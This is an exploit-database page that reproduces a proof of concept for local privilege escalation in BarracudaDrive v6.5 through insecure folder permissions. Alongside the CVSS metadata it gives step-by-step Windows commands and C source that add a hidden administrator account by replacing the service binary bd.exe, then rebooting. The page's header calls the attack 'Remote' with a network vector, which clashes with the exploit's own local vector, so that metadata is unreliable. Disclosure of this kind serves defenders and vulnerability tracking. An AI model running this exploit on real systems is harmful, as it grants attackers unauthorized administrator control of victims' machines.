Exploitalert - Database of Exploits

BarracudaDrive v6.5 Insecure Folder Permissions

CVE	Category	Price	Severity
N/A	CWE-276	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2020-09-04

CPE
cpe:cpe:/a:barracudadrive:server_v6.5

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2020090013

BarracudaDrive v6.5 Insecure Folder Permissions

# Exploit Title: BarracudaDrive v6.5 - Insecure Folder Permissions # Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec) # CVE ID: N/A # Date: 2020-09-01 # Vendor Homepage: https://barracudaserver.com/ # Software Link: https://download.cnet.com/BarracudaDrive/3001-18506_4-10723210.html # Version: v6.5 # Tested On: Windows 10 Pro # CVSS Base Score: 8.8 | Impact Subscore: 6.0 | Exploitability Subscore: 2.0 # CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H # CWE-276: Incorrect Default Permissions # CWE-732: Incorrect Permission Assignment for Critical Resource # Vulnerability Description: # Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5 # allows local low-privilege attacker to escalate privileges to admin via replacing the bd.exe # file and restarting the computer where the malicious code will be executed as 'LocalSystem' # on the next startup. ## Insecure Folder Permission C:\>cacls C:\bd C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C ## Insecure File/Service Permission C:\>cacls C:\bd\bd.exe C:\bd\bd.exe BUILTIN\Administrators:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Users:(ID)R NT AUTHORITY\Authenticated Users:(ID)C C:\>sc qc bd [SC] QueryServiceConfig SUCCESS SERVICE_NAME: bd TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\bd\bd.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : BarracudaDrive ( bd ) service DEPENDENCIES : Tcpip SERVICE_START_NAME : LocalSystem ## Local Privilege Escalation Proof of Concept #0. Download & install #1. Create low privileged user & change to the user ## As admin C:\>net user lowpriv Password123! /add C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full" User name lowpriv Local Group Memberships *Users Global Group memberships *None #2. Move the Service EXE to a new name C:\bd>whoami desktop\lowpriv C:\bd>move bd.exe bd.service.exe 1 file(s) moved. #3. Create malicious binary on kali linux ## Add Admin User C Code kali# cat addAdmin.c int main(void){ system("net user boku mypassword /add"); system("net localgroup Administrators boku /add"); WinExec("C:\\bd\\bd.service.exe",0); return 0; } ## Compile Code kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe #4. Transfer created 'bd.exe' to the Windows Host #5. Move the created 'bd.exe' binary to the 'C:\bd\' Folder C:\bd>move C:\Users\lowpriv\Downloads\bd.exe . #6. Check that exploit admin user doesn't exit C:\bd>net user boku The user name could not be found #6. Reboot the Computer C:\bd>shutdown /r #7. Login & look at that new Admin C:\Users\lowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full" User name boku Local Group Memberships *Administrators *Users Global Group memberships *None

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